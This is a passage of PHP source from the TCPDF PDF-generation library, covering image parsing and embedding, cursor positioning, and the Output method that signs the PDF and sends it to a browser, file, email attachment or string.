$dpi, $palign, false, $imgmask); } } } if ($newimage) { //First use of image, get info $type = strtolower($type); if ($type == '') { $type = $this->getImageFileType($file, $imsize); } elseif ($type == 'jpg') { $type = 'jpeg'; } $mqr = $this->get_mqr(); $this->set_mqr(false); // Specific image handlers $mtd = '_parse'.$type; // GD image handler function $gdfunction = 'imagecreatefrom'.$type; $info = false; if ((method_exists($this, $mtd)) AND (!($resize AND (function_exists($gdfunction) OR extension_loaded('imagick'))))) { // TCPDF image functions $info = $this->$mtd($file); if ($info == 'pngalpha') { return $this->ImagePngAlpha($file, $x, $y, $pixw, $pixh, $w, $h, 'PNG', $link, $align, $resize, $dpi, $palign, $filehash); } } if (!$info) { if (function_exists($gdfunction)) { // GD library $img = $gdfunction($file); if ($resize) { $imgr = imagecreatetruecolor($neww, $newh); if (($type == 'gif') OR ($type == 'png')) { $imgr = $this->_setGDImageTransparency($imgr, $img); } imagecopyresampled($imgr, $img, 0, 0, 0, 0, $neww, $newh, $pixw, $pixh); if (($type == 'gif') OR ($type == 'png')) { $info = $this->_toPNG($imgr); } else { $info = $this->_toJPEG($imgr); } } else { if (($type == 'gif') OR ($type == 'png')) { $info = $this->_toPNG($img); } else { $info = $this->_toJPEG($img); } } } elseif (extension_loaded('imagick')) { // ImageMagick library $img = new Imagick(); if ($type == 'SVG') { // get SVG file content $svgimg = file_get_contents($file); // get width and height $regs = array(); if (preg_match('/<svg([^\>]*)>/si', $svgimg, $regs)) { $svgtag = $regs[1]; $tmp = array(); if (preg_match('/[\s]+width[\s]*=[\s]*"([^"]*)"/si', $svgtag, $tmp)) { $ow = $this->getHTMLUnitToUnits($tmp[1], 1, $this->svgunit, false); $owu = sprintf('%F', ($ow * $dpi / 72)).$this->pdfunit; $svgtag = preg_replace('/[\s]+width[\s]*=[\s]*"[^"]*"/si', ' width="'.$owu.'"', $svgtag, 1); } else { $ow = $w; } $tmp = array(); if (preg_match('/[\s]+height[\s]*=[\s]*"([^"]*)"/si', $svgtag, $tmp)) { $oh = $this->getHTMLUnitToUnits($tmp[1], 1, $this->svgunit, false); $ohu = sprintf('%F', ($oh * $dpi / 72)).$this->pdfunit; $svgtag = preg_replace('/[\s]+height[\s]*=[\s]*"[^"]*"/si', ' height="'.$ohu.'"', $svgtag, 1); } else { $oh = $h; } $tmp = array(); if (!preg_match('/[\s]+viewBox[\s]*=[\s]*"[\s]*([0-9\.]+)[\s]+([0-9\.]+)[\s]+([0-9\.]+)[\s]+([0-9\.]+)[\s]*"/si', $svgtag, $tmp)) { $vbw = ($ow * $this->imgscale * $this->k); $vbh = ($oh * $this->imgscale * $this->k); $vbox = sprintf(' viewBox="0 0 %F %F" ', $vbw, $vbh); $svgtag = $vbox.$svgtag; } $svgimg = preg_replace('/<svg([^\>]*)>/si', '<svg'.$svgtag.'>', $svgimg, 1); } $img->readImageBlob($svgimg); } else { $img->readImage($file); } if ($resize) { $img->resizeImage($neww, $newh, 10, 1, false); } $img->setCompressionQuality($this->jpeg_quality); $img->setImageFormat('jpeg'); $tempname = tempnam(K_PATH_CACHE, 'jpg_'); $img->writeImage($tempname); $info = $this->_parsejpeg($tempname); unlink($tempname); $img->destroy(); } else { return; } } if ($info === false) { //If false, we cannot process image return; } $this->set_mqr($mqr); if ($ismask) { // force grayscale $info['cs'] = 'DeviceGray'; } if ($imgmask !== false) { $info['masked'] = $imgmask; } if (!empty($exurl)) { $info['exurl'] = $exurl; } // array of alternative images $info['altimgs'] = $altimgs; // add image to document $info['i'] = $this->setImageBuffer($file, $info); } // set alignment $this->img_rb_y = $y + $h; // set alignment if ($this->rtl) { if ($palign == 'L') { $ximg = $this->lMargin; } elseif ($palign == 'C') { $ximg = ($this->w + $this->lMargin - $this->rMargin - $w) / 2; } elseif ($palign == 'R') { $ximg = $this->w - $this->rMargin - $w; } else { $ximg = $x - $w; } $this->img_rb_x = $ximg; } else { if ($palign == 'L') { $ximg = $this->lMargin; } elseif ($palign == 'C') { $ximg = ($this->w + $this->lMargin - $this->rMargin - $w) / 2; } elseif ($palign == 'R') { $ximg = $this->w - $this->rMargin - $w; } else { $ximg = $x; } $this->img_rb_x = $ximg + $w; } if ($ismask OR $hidden) { // image is not displayed return $info['i']; } $xkimg = $ximg * $this->k; if (!$alt) { // only non-alternative immages will be set $this->_out(sprintf('q %F 0 0 %F %F %F cm /I%u Do Q', ($w * $this->k), ($h * $this->k), $xkimg, (($this->h - ($y + $h)) * $this->k), $info['i'])); } if (!empty($border)) { $bx = $this->x; $by = $this->y; $this->x = $ximg; if ($this->rtl) { $this->x += $w; } $this->y = $y; $this->Cell($w, $h, '', $border, 0, '', 0, '', 0, true); $this->x = $bx; $this->y = $by; } if ($link) { $this->Link($ximg, $y, $w, $h, $link, 0); } // set pointer to align the next text/objects switch($align) { case 'T': { $this->y = $y; $this->x = $this->img_rb_x; break; } case 'M': { $this->y = $y + round($h/2); $this->x = $this->img_rb_x; break; } case 'B': { $this->y = $this->img_rb_y; $this->x = $this->img_rb_x; break; } case 'N': { $this->SetY($this->img_rb_y); break; } default:{ break; } } $this->endlinex = $this->img_rb_x; if ($this->inxobj) { // we are inside an XObject template $this->xobjects[$this->xobjid]['images'][] = $info['i']; } return $info['i']; } /** * Sets the current active configuration setting of magic_quotes_runtime (if the set_magic_quotes_runtime function exist) * @param $mqr (boolean) FALSE for off, TRUE for on. * @since 4.6.025 (2009-08-17) */ public function set_mqr($mqr) { if (!defined('PHP_VERSION_ID')) { $version = PHP_VERSION; define('PHP_VERSION_ID', (($version{0} * 10000) + ($version{2} * 100) + $version{4})); } if (PHP_VERSION_ID < 50300) { @set_magic_quotes_runtime($mqr); } } /** * Gets the current active configuration setting of magic_quotes_runtime (if the get_magic_quotes_runtime function exist) * @return Returns 0 if magic quotes runtime is off or get_magic_quotes_runtime doesn't exist, 1 otherwise. * @since 4.6.025 (2009-08-17) */ public function get_mqr() { if (!defined('PHP_VERSION_ID')) { $version = PHP_VERSION; define('PHP_VERSION_ID', (($version{0} * 10000) + ($version{2} * 100) + $version{4})); } if (PHP_VERSION_ID < 50300) { return @get_magic_quotes_runtime(); } return 0; } /** * Convert the loaded image to a JPEG and then return a structure for the PDF creator. * This function requires GD library and write access to the directory defined on K_PATH_CACHE constant. * @param $image (image) Image object. * return image JPEG image object. * @protected */ protected function _toJPEG($image) { $tempname = tempnam(K_PATH_CACHE, 'jpg_'); imagejpeg($image, $tempname, $this->jpeg_quality); imagedestroy($image); $retvars = $this->_parsejpeg($tempname); // tidy up by removing temporary image unlink($tempname); return $retvars; } /** * Convert the loaded image to a PNG and then return a structure for the PDF creator. * This function requires GD library and write access to the directory defined on K_PATH_CACHE constant. * @param $image (image) Image object. * return image PNG image object. * @protected * @since 4.9.016 (2010-04-20) */ protected function _toPNG($image) { // set temporary image file name $tempname = tempnam(K_PATH_CACHE, 'jpg_'); // turn off interlaced mode imageinterlace($image, 0); // create temporary PNG image imagepng($image, $tempname); // remove image from memory imagedestroy($image); // get PNG image data $retvars = $this->_parsepng($tempname); // tidy up by removing temporary image unlink($tempname); return $retvars; } /** * Set the transparency for the given GD image. * @param $new_image (image) GD image object * @param $image (image) GD image object. * return GD image object. * @protected * @since 4.9.016 (2010-04-20) */ protected function _setGDImageTransparency($new_image, $image) { // transparency index $tid = imagecolortransparent($image); // default transparency color $tcol = array('red' => 255, 'green' => 255, 'blue' => 255); if ($tid >= 0) { // get the colors for the transparency index $tcol = imagecolorsforindex($image, $tid); } $tid = imagecolorallocate($new_image, $tcol['red'], $tcol['green'], $tcol['blue']); imagefill($new_image, 0, 0, $tid); imagecolortransparent($new_image, $tid); return $new_image; } /** * Extract info from a JPEG file without using the GD library. * @param $file (string) image file to parse * @return array structure containing the image data * @protected */ protected function _parsejpeg($file) { $a = getimagesize($file); if (empty($a)) { $this->Error('Missing or incorrect image file: '.$file); } if ($a[2] != 2) { $this->Error('Not a JPEG file: '.$file); } // bits per pixel $bpc = isset($a['bits']) ? intval($a['bits']) : 8; // number of image channels if (!isset($a['channels'])) { $channels = 3; } else { $channels = intval($a['channels']); } // default colour space switch ($channels) { case 1: { $colspace = 'DeviceGray'; break; } case 3: { $colspace = 'DeviceRGB'; break; } case 4: { $colspace = 'DeviceCMYK'; break; } default: { $channels = 3; $colspace = 'DeviceRGB'; break; } } // get file content $data = file_get_contents($file); // check for embedded ICC profile $icc = array(); $offset = 0; while (($pos = strpos($data, "ICC_PROFILE\0", $offset)) !== false) { // get ICC sequence length $length = ($this->_getUSHORT($data, ($pos - 2)) - 16); // marker sequence number $msn = max(1, ord($data[($pos + 12)])); // number of markers (total of APP2 used) $nom = max(1, ord($data[($pos + 13)])); // get sequence segment $icc[($msn - 1)] = substr($data, ($pos + 14), $length); // move forward to next sequence $offset = ($pos + 14 + $length); } // order and compact ICC segments if (count($icc) > 0) { ksort($icc); $icc = implode('', $icc); if ((ord($icc{36}) != 0x61) OR (ord($icc{37}) != 0x63) OR (ord($icc{38}) != 0x73) OR (ord($icc{39}) != 0x70)) { // invalid ICC profile $icc = false; } } else { $icc = false; } return array('w' => $a[0], 'h' => $a[1], 'ch' => $channels, 'icc' => $icc, 'cs' => $colspace, 'bpc' => $bpc, 'f' => 'DCTDecode', 'data' => $data); } /** * Extract info from a PNG file without using the GD library. * @param $file (string) image file to parse * @return array structure containing the image data * @protected */ protected function _parsepng($file) { $f = fopen($file, 'rb'); if ($f === false) { $this->Error('Can\'t open image file: '.$file); } //Check signature if (fread($f, 8) != chr(137).'PNG'.chr(13).chr(10).chr(26).chr(10)) { $this->Error('Not a PNG file: '.$file); } //Read header chunk fread($f, 4); if (fread($f, 4) != 'IHDR') { $this->Error('Incorrect PNG file: '.$file); } $w = $this->_freadint($f); $h = $this->_freadint($f); $bpc = ord(fread($f, 1)); if ($bpc > 8) { //$this->Error('16-bit depth not supported: '.$file); fclose($f); return false; } $ct = ord(fread($f, 1)); if ($ct == 0) { $colspace = 'DeviceGray'; } elseif ($ct == 2) { $colspace = 'DeviceRGB'; } elseif ($ct == 3) { $colspace = 'Indexed'; } else { // alpha channel fclose($f); return 'pngalpha'; } if (ord(fread($f, 1)) != 0) { //$this->Error('Unknown compression method: '.$file); fclose($f); return false; } if (ord(fread($f, 1)) != 0) { //$this->Error('Unknown filter method: '.$file); fclose($f); return false; } if (ord(fread($f, 1)) != 0) { //$this->Error('Interlacing not supported: '.$file); fclose($f); return false; } fread($f, 4); $channels = ($ct == 2 ? 3 : 1); $parms = '/DecodeParms << /Predictor 15 /Colors '.$channels.' /BitsPerComponent '.$bpc.' /Columns '.$w.' >>'; //Scan chunks looking for palette, transparency and image data $pal = ''; $trns = ''; $data = ''; $icc = false; do { $n = $this->_freadint($f); $type = fread($f, 4); if ($type == 'PLTE') { // read palette $pal = $this->rfread($f, $n); fread($f, 4); } elseif ($type == 'tRNS') { // read transparency info $t = $this->rfread($f, $n); if ($ct == 0) { $trns = array(ord($t{1})); } elseif ($ct == 2) { $trns = array(ord($t{1}), ord($t{3}), ord($t{5})); } else { $pos = strpos($t, chr(0)); if ($pos !== false) { $trns = array($pos); } } fread($f, 4); } elseif ($type == 'IDAT') { // read image data block $data .= $this->rfread($f, $n); fread($f, 4); } elseif ($type == 'iCCP') { // skip profile name $len = 0; while ((ord(fread($f, 1)) > 0) AND ($len < 80)) { ++$len; } // skip null separator fread($f, 1); // get compression method if (ord(fread($f, 1)) != 0) { //$this->Error('Unknown filter method: '.$file); fclose($f); return false; } // read ICC Color Profile $icc = $this->rfread($f, ($n - $len - 2)); // decompress profile $icc = gzuncompress($icc); fread($f, 4); } elseif ($type == 'IEND') { break; } else { $this->rfread($f, $n + 4); } } while ($n); if (($colspace == 'Indexed') AND (empty($pal))) { //$this->Error('Missing palette in '.$file); fclose($f); return false; } fclose($f); return array('w' => $w, 'h' => $h, 'ch' => $channels, 'icc' => $icc, 'cs' => $colspace, 'bpc' => $bpc, 'f' => 'FlateDecode', 'parms' => $parms, 'pal' => $pal, 'trns' => $trns, 'data' => $data); } /** * Binary-safe and URL-safe file read. * Reads up to length bytes from the file pointer referenced by handle. Reading stops as soon as one of the following conditions is met: length bytes have been read; EOF (end of file) is reached. * @param $handle (resource) * @param $length (int) * @return Returns the read string or FALSE in case of error. * @author Nicola Asuni * @protected * @since 4.5.027 (2009-03-16) */ protected function rfread($handle, $length) { $data = fread($handle, $length); if ($data === false) { return false; } $rest = $length - strlen($data); if ($rest > 0) { $data .= $this->rfread($handle, $rest); } return $data; } /** * Extract info from a PNG image with alpha channel using the GD library. * @param $file (string) Name of the file containing the image. * @param $x (float) Abscissa of the upper-left corner. * @param $y (float) Ordinate of the upper-left corner. * @param $wpx (float) Original width of the image in pixels. * @param $hpx (float) original height of the image in pixels. * @param $w (float) Width of the image in the page. If not specified or equal to zero, it is automatically calculated. * @param $h (float) Height of the image in the page. If not specified or equal to zero, it is automatically calculated. * @param $type (string) Image format. Possible values are (case insensitive): JPEG and PNG (whitout GD library) and all images supported by GD: GD, GD2, GD2PART, GIF, JPEG, PNG, BMP, XBM, XPM;. If not specified, the type is inferred from the file extension. * @param $link (mixed) URL or identifier returned by AddLink(). * @param $align (string) Indicates the alignment of the pointer next to image insertion relative to image height. The value can be:<ul><li>T: top-right for LTR or top-left for RTL</li><li>M: middle-right for LTR or middle-left for RTL</li><li>B: bottom-right for LTR or bottom-left for RTL</li><li>N: next line</li></ul> * @param $resize (boolean) If true resize (reduce) the image to fit $w and $h (requires GD library). * @param $dpi (int) dot-per-inch resolution used on resize * @param $palign (string) Allows to center or align the image on the current line. Possible values are:<ul><li>L : left align</li><li>C : center</li><li>R : right align</li><li>'' : empty string : left for LTR or right for RTL</li></ul> * @param $filehash (string) File hash used to build unique file names. * @author Nicola Asuni * @protected * @since 4.3.007 (2008-12-04) * @see Image() */ protected function ImagePngAlpha($file, $x, $y, $wpx, $hpx, $w, $h, $type, $link, $align, $resize, $dpi, $palign, $filehash='') { if (empty($filehash)) { $filehash = md5($this->file_id.$file); } // create temp image file (without alpha channel) $tempfile_plain = K_PATH_CACHE.'mskp_'.$filehash; // create temp alpha file $tempfile_alpha = K_PATH_CACHE.'mska_'.$filehash; if (extension_loaded('imagick')) { // ImageMagick extension // ImageMagick library $img = new Imagick(); $img->readImage($file); // clone image object $imga = $this->objclone($img); // extract alpha channel $img->separateImageChannel(8); // 8 = (imagick::CHANNEL_ALPHA | imagick::CHANNEL_OPACITY | imagick::CHANNEL_MATTE); $img->negateImage(true); $img->setImageFormat('png'); $img->writeImage($tempfile_alpha); // remove alpha channel $imga->separateImageChannel(39); // 39 = (imagick::CHANNEL_ALL & ~(imagick::CHANNEL_ALPHA | imagick::CHANNEL_OPACITY | imagick::CHANNEL_MATTE)); $imga->setImageFormat('png'); $imga->writeImage($tempfile_plain); } elseif (function_exists('imagecreatefrompng')) { // GD extension // generate images $img = imagecreatefrompng($file); $imgalpha = imagecreate($wpx, $hpx); // generate gray scale palette (0 -> 255) for ($c = 0; $c < 256; ++$c) { ImageColorAllocate($imgalpha, $c, $c, $c); } // extract alpha channel for ($xpx = 0; $xpx < $wpx; ++$xpx) { for ($ypx = 0; $ypx < $hpx; ++$ypx) { $color = imagecolorat($img, $xpx, $ypx); $alpha = $this->getGDgamma($color); // correct gamma imagesetpixel($imgalpha, $xpx, $ypx, $alpha); } } imagepng($imgalpha, $tempfile_alpha); imagedestroy($imgalpha); // extract image without alpha channel $imgplain = imagecreatetruecolor($wpx, $hpx); imagecopy($imgplain, $img, 0, 0, 0, 0, $wpx, $hpx); imagepng($imgplain, $tempfile_plain); imagedestroy($imgplain); } else { $this->Error('TCPDF requires the Imagick or GD extension to handle PNG images with alpha channel.'); } // embed mask image $imgmask = $this->Image($tempfile_alpha, $x, $y, $w, $h, 'PNG', '', '', $resize, $dpi, '', true, false); // embed image, masked with previously embedded mask $this->Image($tempfile_plain, $x, $y, $w, $h, $type, $link, $align, $resize, $dpi, $palign, false, $imgmask); // remove temp files unlink($tempfile_alpha); unlink($tempfile_plain); } /** * Get the GD-corrected PNG gamma value from alpha color * @param $c (int) alpha color * @protected * @since 4.3.007 (2008-12-04) */ protected function getGDgamma($c) { if (!isset($this->gdgammacache["'".$c."'"])) { // shifts off the first 24 bits (where 8x3 are used for each color), // and returns the remaining 7 allocated bits (commonly used for alpha) $alpha = ($c >> 24); // GD alpha is only 7 bit (0 -> 127) $alpha = (((127 - $alpha) / 127) * 255); // correct gamma $this->gdgammacache["'".$c."'"] = (pow(($alpha / 255), 2.2) * 255); // store the latest values on cache to improve performances if (count($this->gdgammacache) > 8) { // remove one element from the cache array array_shift($this->gdgammacache); } } return $this->gdgammacache["'".$c."'"]; } /** * Performs a line break. * The current abscissa goes back to the left margin and the ordinate increases by the amount passed in parameter. * @param $h (float) The height of the break. By default, the value equals the height of the last printed cell. * @param $cell (boolean) if true add the current left (or right o for RTL) padding to the X coordinate * @public * @since 1.0 * @see Cell() */ public function Ln($h='', $cell=false) { if (($this->num_columns > 1) AND ($this->y == $this->columns[$this->current_column]['y']) AND isset($this->columns[$this->current_column]['x']) AND ($this->x == $this->columns[$this->current_column]['x'])) { // revove vertical space from the top of the column return; } if ($cell) { if ($this->rtl) { $cellpadding = $this->cell_padding['R']; } else { $cellpadding = $this->cell_padding['L']; } } else { $cellpadding = 0; } if ($this->rtl) { $this->x = $this->w - $this->rMargin - $cellpadding; } else { $this->x = $this->lMargin + $cellpadding; } if (is_string($h)) { $this->y += $this->lasth; } else { $this->y += $h; } $this->newline = true; } /** * Returns the relative X value of current position. * The value is relative to the left border for LTR languages and to the right border for RTL languages. * @return float * @public * @since 1.2 * @see SetX(), GetY(), SetY() */ public function GetX() { //Get x position if ($this->rtl) { return ($this->w - $this->x); } else { return $this->x; } } /** * Returns the absolute X value of current position. * @return float * @public * @since 1.2 * @see SetX(), GetY(), SetY() */ public function GetAbsX() { return $this->x; } /** * Returns the ordinate of the current position. * @return float * @public * @since 1.0 * @see SetY(), GetX(), SetX() */ public function GetY() { return $this->y; } /** * Defines the abscissa of the current position. * If the passed value is negative, it is relative to the right of the page (or left if language is RTL). * @param $x (float) The value of the abscissa in user units. * @param $rtloff (boolean) if true always uses the page top-left corner as origin of axis. * @public * @since 1.2 * @see GetX(), GetY(), SetY(), SetXY() */ public function SetX($x, $rtloff=false) { $x = floatval($x); if (!$rtloff AND $this->rtl) { if ($x >= 0) { $this->x = $this->w - $x; } else { $this->x = abs($x); } } else { if ($x >= 0) { $this->x = $x; } else { $this->x = $this->w + $x; } } if ($this->x < 0) { $this->x = 0; } if ($this->x > $this->w) { $this->x = $this->w; } } /** * Moves the current abscissa back to the left margin and sets the ordinate. * If the passed value is negative, it is relative to the bottom of the page. * @param $y (float) The value of the ordinate in user units. * @param $resetx (bool) if true (default) reset the X position. * @param $rtloff (boolean) if true always uses the page top-left corner as origin of axis. * @public * @since 1.0 * @see GetX(), GetY(), SetY(), SetXY() */ public function SetY($y, $resetx=true, $rtloff=false) { $y = floatval($y); if ($resetx) { //reset x if (!$rtloff AND $this->rtl) { $this->x = $this->w - $this->rMargin; } else { $this->x = $this->lMargin; } } if ($y >= 0) { $this->y = $y; } else { $this->y = $this->h + $y; } if ($this->y < 0) { $this->y = 0; } if ($this->y > $this->h) { $this->y = $this->h; } } /** * Defines the abscissa and ordinate of the current position. * If the passed values are negative, they are relative respectively to the right and bottom of the page. * @param $x (float) The value of the abscissa. * @param $y (float) The value of the ordinate. * @param $rtloff (boolean) if true always uses the page top-left corner as origin of axis. * @public * @since 1.2 * @see SetX(), SetY() */ public function SetXY($x, $y, $rtloff=false) { $this->SetY($y, false, $rtloff); $this->SetX($x, $rtloff); } /** * Set the absolute X coordinate of the current pointer. * @param $x (float) The value of the abscissa in user units. * @public * @since 5.9.186 (2012-09-13) * @see setAbsX(), setAbsY(), SetAbsXY() */ public function SetAbsX($x) { $this->x = floatval($x); } /** * Set the absolute Y coordinate of the current pointer. * @param $y (float) (float) The value of the ordinate in user units. * @public * @since 5.9.186 (2012-09-13) * @see setAbsX(), setAbsY(), SetAbsXY() */ public function SetAbsY($y) { $this->y = floatval($y); } /** * Set the absolute X and Y coordinates of the current pointer. * @param $x (float) The value of the abscissa in user units. * @param $y (float) (float) The value of the ordinate in user units. * @public * @since 5.9.186 (2012-09-13) * @see setAbsX(), setAbsY(), SetAbsXY() */ public function SetAbsXY($x, $y) { $this->SetAbsX($x); $this->SetAbsY($y); } /** * Ouput input data and compress it if possible. * @param $data (string) Data to output. * @param $length (int) Data length in bytes. * @protected * @since 5.9.086 */ protected function sendOutputData($data, $length) { if (!isset($_SERVER['HTTP_ACCEPT_ENCODING']) OR empty($_SERVER['HTTP_ACCEPT_ENCODING'])) { // the content length may vary if the server is using compression header('Content-Length: '.$length); } echo $data; } /** * Send the document to a given destination: string, local file or browser. * In the last case, the plug-in may be used (if present) or a download ("Save as" dialog box) may be forced.<br /> * The method first calls Close() if necessary to terminate the document. * @param $name (string) The name of the file when saved. Note that special characters are removed and blanks characters are replaced with the underscore character. * @param $dest (string) Destination where to send the document. It can take one of the following values:<ul><li>I: send the file inline to the browser (default). The plug-in is used if available. The name given by name is used when one selects the "Save as" option on the link generating the PDF.</li><li>D: send to the browser and force a file download with the name given by name.</li><li>F: save to a local server file with the name given by name.</li><li>S: return the document as a string (name is ignored).</li><li>FI: equivalent to F + I option</li><li>FD: equivalent to F + D option</li><li>E: return the document as base64 mime multi-part email attachment (RFC 2045)</li></ul> * @public * @since 1.0 * @see Close() */ public function Output($name='doc.pdf', $dest='I') { //Output PDF to some destination //Finish document if necessary if ($this->state < 3) { $this->Close(); } //Normalize parameters if (is_bool($dest)) { $dest = $dest ? 'D' : 'F'; } $dest = strtoupper($dest); if ($dest{0} != 'F') { $name = preg_replace('/[\s]+/', '_', $name); $name = preg_replace('/[^a-zA-Z0-9_\.-]/', '', $name); } if ($this->sign) { // *** apply digital signature to the document *** // get the document content $pdfdoc = $this->getBuffer(); // remove last newline $pdfdoc = substr($pdfdoc, 0, -1); // Remove the original buffer if (isset($this->diskcache) AND $this->diskcache) { // remove buffer file from cache unlink($this->buffer); } unset($this->buffer); // remove filler space $byterange_string_len = strlen($this->byterange_string); // define the ByteRange $byte_range = array(); $byte_range[0] = 0; $byte_range[1] = strpos($pdfdoc, $this->byterange_string) + $byterange_string_len + 10; $byte_range[2] = $byte_range[1] + $this->signature_max_length + 2; $byte_range[3] = strlen($pdfdoc) - $byte_range[2]; $pdfdoc = substr($pdfdoc, 0, $byte_range[1]).substr($pdfdoc, $byte_range[2]); // replace the ByteRange $byterange = sprintf('/ByteRange[0 %u %u %u]', $byte_range[1], $byte_range[2], $byte_range[3]); $byterange .= str_repeat(' ', ($byterange_string_len - strlen($byterange))); $pdfdoc = str_replace($this->byterange_string, $byterange, $pdfdoc); // write the document to a temporary folder $tempdoc = tempnam(K_PATH_CACHE, 'tmppdf_'); $f = fopen($tempdoc, 'wb'); if (!$f) { $this->Error('Unable to create temporary file: '.$tempdoc); } $pdfdoc_length = strlen($pdfdoc); fwrite($f, $pdfdoc, $pdfdoc_length); fclose($f); // get digital signature via openssl library $tempsign = tempnam(K_PATH_CACHE, 'tmpsig_'); if (empty($this->signature_data['extracerts'])) { openssl_pkcs7_sign($tempdoc, $tempsign, $this->signature_data['signcert'], array($this->signature_data['privkey'], $this->signature_data['password']), array(), PKCS7_BINARY | PKCS7_DETACHED); } else { openssl_pkcs7_sign($tempdoc, $tempsign, $this->signature_data['signcert'], array($this->signature_data['privkey'], $this->signature_data['password']), array(), PKCS7_BINARY | PKCS7_DETACHED, $this->signature_data['extracerts']); } unlink($tempdoc); // read signature $signature = file_get_contents($tempsign); unlink($tempsign); // extract signature $signature = substr($signature, $pdfdoc_length); $signature = substr($signature, (strpos($signature, "%%EOF\n\n------") + 13)); $tmparr = explode("\n\n", $signature); $signature = $tmparr[1]; unset($tmparr); // decode signature $signature = base64_decode(trim($signature)); // convert signature to hex $signature = current(unpack('H*', $signature)); $signature = str_pad($signature, $this->signature_max_length, '0'); // disable disk caching $this->diskcache = false; // Add signature to the document $this->buffer = substr($pdfdoc, 0, $byte_range[1]).'<'.$signature.'>'.substr($pdfdoc, $byte_range[1]); $this->bufferlen = strlen($this->buffer); } switch($dest) { case 'I': { // Send PDF to the standard output if (ob_get_contents()) { $this->Error('Some data has already been output, can\'t send PDF file'); } if (php_sapi_name() != 'cli') { // send output to a browser header('Content-Type: application/pdf'); if (headers_sent()) { $this->Error('Some data has already been output to browser, can\'t send PDF file'); } header('Cache-Control: private, must-revalidate, post-check=0, pre-check=0, max-age=1'); //header('Cache-Control: public, must-revalidate, max-age=0'); // HTTP/1.1 header('Pragma: public'); header('Expires: Sat, 26 Jul 1997 05:00:00 GMT'); // Date in the past header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); header('Content-Disposition: inline; filename="'.basename($name).'"'); $this->sendOutputData($this->getBuffer(), $this->bufferlen); } else { echo $this->getBuffer(); } break; } case 'D': { // download PDF as file if (ob_get_contents()) { $this->Error('Some data has already been output, can\'t send PDF file'); } header('Content-Description: File Transfer'); if (headers_sent()) { $this->Error('Some data has already been output to browser, can\'t send PDF file'); } header('Cache-Control: private, must-revalidate, post-check=0, pre-check=0, max-age=1'); //header('Cache-Control: public, must-revalidate, max-age=0'); // HTTP/1.1 header('Pragma: public'); header('Expires: Sat, 26 Jul 1997 05:00:00 GMT'); // Date in the past header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); // force download dialog if (strpos(php_sapi_name(), 'cgi') === false) { header('Content-Type: application/force-download'); header('Content-Type: application/octet-stream', false); header('Content-Type: application/download', false); header('Content-Type: application/pdf', false); } else { header('Content-Type: application/pdf'); } // use the Content-Disposition header to supply a recommended filename header('Content-Disposition: attachment; filename="'.basename($name).'"'); header('Content-Transfer-Encoding: binary'); $this->sendOutputData($this->getBuffer(), $this->bufferlen); break; } case 'F': case 'FI': case 'FD': { // save PDF to a local file if ($this->diskcache) { copy($this->buffer, $name); } else { $f = fopen($name, 'wb'); if (!$f) { $this->Error('Unable to create output file: '.$name); } fwrite($f, $this->getBuffer(), $this->bufferlen); fclose($f); } if ($dest == 'FI') { // send headers to browser header('Content-Type: application/pdf'); header('Cache-Control: private, must-revalidate, post-check=0, pre-check=0, max-age=1'); //header('Cache-Control: public, must-revalidate, max-age=0'); // HTTP/1.1 header('Pragma: public'); header('Expires: Sat, 26 Jul 1997 05:00:00 GMT'); // Date in the past header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); header('Content-Disposition: inline; filename="'.basename($name).'"'); $this->sendOutputData(file_get_contents($name), filesize($name)); } elseif ($dest == 'FD') { // send headers to browser if (ob_get_contents()) { $this->Error('Some data has already been output, can\'t send PDF file'); } header('Content-Description: File Transfer'); if (headers_sent()) { $this->Error('Some data has already been output to browser, can\'t send PDF file'); } header('Cache-Control: private, must-revalidate, post-check=0, pre-check=0, max-age=1'); header('Pragma: public'); header('Expires: Sat, 26 Jul 1997 05:00:00 GMT'); // Date in the past header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); // force download dialog if (strpos(php_sapi_name(), 'cgi') === false) { header('Content-Type: application/force-download'); header('Content-Type: application/octet-stream', false); header('Content-Type: application/download', false); header('Content-Type: application/pdf', false); } else { header('Content-Type: application/pdf'); } // use the Content-Disposition header to supply a recommended filename header('Content-Disposition: attachment; filename="'.basename($name).'"'); header('Content-Transfer-Encoding: binary'); $this->sendOutputData(file_get_contents($name), filesize($name)); } break; } case 'E': { // return PDF as base64 mime multi-part email attachment (RFC 2045) $retval = 'Content-Type: application/pdf;'."\r\n"; $retval .= ' name="'.$name.'"'."\r\n"; $retval .= 'Content-Transfer-Encoding: base64'."\r\n"; $retval .= 'Content-Disposition: attachment;'."\r\n"; $retval .= ' filename="'.$name.'"'."\r\n\r\n"; $retval .= chunk_split(base64_encode($this->getBuffer()), 76, "\r\n"); return $retval; } case 'S': { // returns PDF as a string return $this->getBuffer(); } default: { $this->Error('Incorrect output destination: '.$dest); } } return ''; } /** * Unset all class variables except the following critical variables. * @param $destroyall (boolean) if true destroys all class variables, otherwise preserves critical variables. * @param $preserve_objcopy (boolean) if true preserves the objcopy variable * @public * @since 4.5.016 (2009-02-24) */ public function _destroy($destroyall=false, $preserve_objcopy=false) { if ($destroyall AND isset($this->diskcache) AND $this->diskcache AND (!$preserve_objcopy) AND (!$this->empty_string($this->buffer))) { // remove buffer file from cache unlink($this->buffer); } if ($destroyall AND isset($this->cached_files) AND !empty($this->cached_files)) { // remove cached files foreach ($this->cached_files as $cachefile) { if (is_file($cachefile)) { unlink($cachefile); } } unset($this->cached_files); } foreach (array_keys(get_object_vars($this)) as $val) { if ($destroyall OR ( ($val != 'internal_encoding') AND ($val != 'state') AND ($val != 'bufferlen') AND ($val != 'buffer') AND ($val != 'diskcache') AND ($val != 'cached_files') AND ($val != 'sign') AND ($val != 'signature_data') AND ($val != 'signature_max_length') AND ($val != 'byterange_string') )) { if ((!$preserve_objcopy OR ($val != 'objcopy')) AND isset($this->$val)) { unset($this->$val); } } } } /** * Check for locale-related bug * @protected */ protected function _dochecks() { //Check for locale-related bug if (1.1 == 1) { $this->Error('Don\'t alter the locale before including class file'); } //Check for decimal separator if (sprintf('%.1F', 1.0) != '1.0') { setlocale(LC_NUMERIC, 'C'); } } /** * Return fonts path * @return string * @protected */ protected function _getfontpath() { if (!defined('K_PATH_FONTS') AND is_dir(dirname(__FILE__).'/fonts')) { define('K_PATH_FONTS', dirname(__FILE__).'/fonts/'); } return defined('K_PATH_FONTS') ? K_PATH_FONTS : ''; } /** * Return an array containing variations for the basic page number alias. * @param $a (string) Base alias. * @return array of page number aliases * @protected */ protected function getInternalPageNumberAliases($a= '') { 